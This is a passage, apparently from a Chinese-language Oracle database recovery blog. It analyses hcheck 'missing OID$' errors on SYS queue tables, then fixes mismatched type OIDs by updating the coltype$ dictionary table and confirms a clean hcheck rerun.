TabProp=539101190OBJ#=13273 Name=SYS.AQ_EVENT_TABLE IntCol#=25=USER_DATA TabProp=539363346OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLE IntCol#=20=USER_DATA TabProp=
OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_F IntCol#=24=USER_DATA TabProp=
OBJ#=13285 Name=SYS.AQ_PROP_TABLE IntCol#=28=USER_DATA TabProp=539101186OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TAB IntCol#=28=USER_DATATabProp=539101186.- SourceNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS
.- OversizedFiles ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- PoorStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- MissingSum$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- MissingDir$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- DuplicateDataobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- ObjSynMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- ObjSeqMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedUndo ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndex ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedTable ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- MissingPartCol ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- FetUet ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- Uet0Check ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- SeglessUET ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadInd$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadTab$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- ObjIndDobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- ObjType0 ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadOwner ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadPublicObjects ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadSegFreelist ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- BadDepends ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
.- CheckDual ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- ObjectNames ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- BadCboHiLo ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- ChkIotTs ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- NoSegmentIndex ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- BadNextObject ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- DroppedROTS ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- FilBlkZero ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- OrphanedObjError ... 1102000400 > 1102000000 02/14 22:49:55 PASS
.- ObjNotLob ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- MaxControlfSeq ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- SegNotInDeferredStg ... 1102000400 > 1102000000 02/14 22:49:55 PASS
.- SystemNotRfile1 ... 1102000400 > 902000000 02/14 22:49:55 PASS
.- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- OrphanTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
.- ObjNotTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS---------------------------------------14-FEB-2019 22:49:55 Elapsed: 2 secs---------------------------------------Found 11 potential problem(s) and 0 warning(s)
Contact Oracle Support with the output and trace fileto check if the above needs attention or notPL/SQL procedure successfully completed.Statement processed.Complete output is in trace file:
/u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_ora_1808_HCHECK.trc
发现了11处问题，都是HCKE-0002: Object type column with missing OID$。 这是什么意思呢？
分析hcheck脚本的MissingOIDOnObjCol存储过程：
Procedure MissingOIDOnObjCol (nF In Number Default 0, VerChk In Number Default 5, Verbose In Boolean Default FALSE) Is nFr Number ; Cursor sCur1 Is Select o.obj# , o.type#, o.owner#, o.name, c.col#, c.intcol#, c.name cname, t.property From obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t Where o.obj# = ct.obj# And ct.obj# = c.obj# And ct.col# = c.col# And ct.intcol# = c.intcol# And oi.oid$(+) = ct.toid And o.obj# = t.obj#(+) And oi.oid$ is null; ps1 Varchar2(10) := 'HCKE-0002'; ps1a Varchar2(65) := 'Object type column with missing OID ps1n Varchar2(40) := '(Doc ID 1360268.1)';
CursorRun Boolean := FALSE;
Begin
If ( nF = 0) Then
nFr := FindFname('MissingOIDOnObjCol') ; Else nFr := nF;
End If ;
If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return; End If;
For c1 In sCur1 Loop
If (not CursorRun) Then
report_failure('FAIL',ps1,ps1a,ps1n,CursorRun);
End If;
put_line(' OBJ#='||c1.obj#||' Name='||Owner(c1.owner#)||'.'
||c1.name||' IntCol#='||c1.intcol#||'='||c1.cname
||' TabProp='||c1.property);
Fatal := Fatal + 1 ;
End Loop ;
If (CursorRun) Then put(chr(10)) ; else put_line('PASS'); End If ;
End ;
仔细对脚本进行分析，推测是当表的字段类型为type类型的对象时，coltype$的toid和oid$的oid$不匹配导致的，应该是之前为了open数据库替换块的时候造成的。
以OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析：
由于数据字典不一致，该表是不可以正常访问：
SQL> desc SYS.AQ$SCHEDULER$_EVENT_QTAB
ERROR:
ORA-00600: internal error code, arguments: [16687], [12946], [20], [], [], [], [], [], [], [], [], []
SQL> select * from SYS.AQ$SCHEDULER$_EVENT_QTAB;select * from SYS.AQ$SCHEDULER$_EVENT_QTAB
*ERROR at line 1:
ORA-21700: object does not exist or is marked for delete
对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO，通过下面的查询可以发现确实不匹配(以oid$的为准，因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表)：
SQL> select oid$ from oid$ where obj# in (select obj# from obj$ where name='SCHEDULER$_EVENT_INFO');
OID$--------------------------------7BB17EE961D00845E0536438A8C00848
SQL> select toid from coltype$ where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
TOID--------------------------------81673B4EDDF5111FE0536438A8C02F5D
通过下面的查询也可以推出以oid$的为准
SQL> select toid from type$ where toid in ('7BB17EE961D00845E0536438A8C00848','81673B4EDDF5111FE0536438A8C02F5D');
TOID--------------------------------7BB17EE961D00845E0536438A8C00848
修改coltype$后恢复正常：
SQL> update coltype$ set toid='7BB17EE961D00845E0536438A8C00848' where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20; 1 row updated. SQL> commit;Commit complete.SQL> @flcSystem altered.System altered.SQL> select * from AQ$SCHEDULER$_EVENT_QTAB;no rows selected
逐一修改后，再次执行hcheck：
SQL> @hcheck
HCheck Version 07MAY18 on 15-FEB-2019 01:56:00----------------------------------------------Catalog Version 11.2.0.4.0 (1102000400)
db_name: LXY
Catalog Fixed
Procedure Name Version Vs Release Timestamp Result------------------------------ ... ---------- -- ---------- -------------- ------.- LobNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- SourceNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OversizedFiles ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- PoorStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- MissingSum$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- MissingDir$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- DuplicateDataobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- ObjSynMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- ObjSeqMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedUndo ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndex ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedTable ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- MissingPartCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- FetUet ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- Uet0Check ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- SeglessUET ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadInd$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadTab$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- ObjIndDobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- ObjType0 ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadOwner ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadPublicObjects ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadSegFreelist ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadDepends ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- CheckDual ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- ObjectNames ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
.- BadCboHiLo ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- ChkIotTs ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- NoSegmentIndex ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- BadNextObject ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- DroppedROTS ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- FilBlkZero ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- OrphanedObjError ... 1102000400 > 1102000000 02/15 01:56:01 PASS
.- ObjNotLob ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- MaxControlfSeq ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- SegNotInDeferredStg ... 1102000400 > 1102000000 02/15 01:56:01 PASS
.- SystemNotRfile1 ... 1102000400 > 902000000 02/15 01:56:01 PASS
.- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- OrphanTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
.- ObjNotTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS---------------------------------------15-FEB-2019 01:56:01 Elapsed: 1 secs---------------------------------------Found 0 potential problem(s) and 0 warning(s)
PL/SQL procedure successfully completed.Statement processed.
至此整个数据库比较完整的恢复完毕。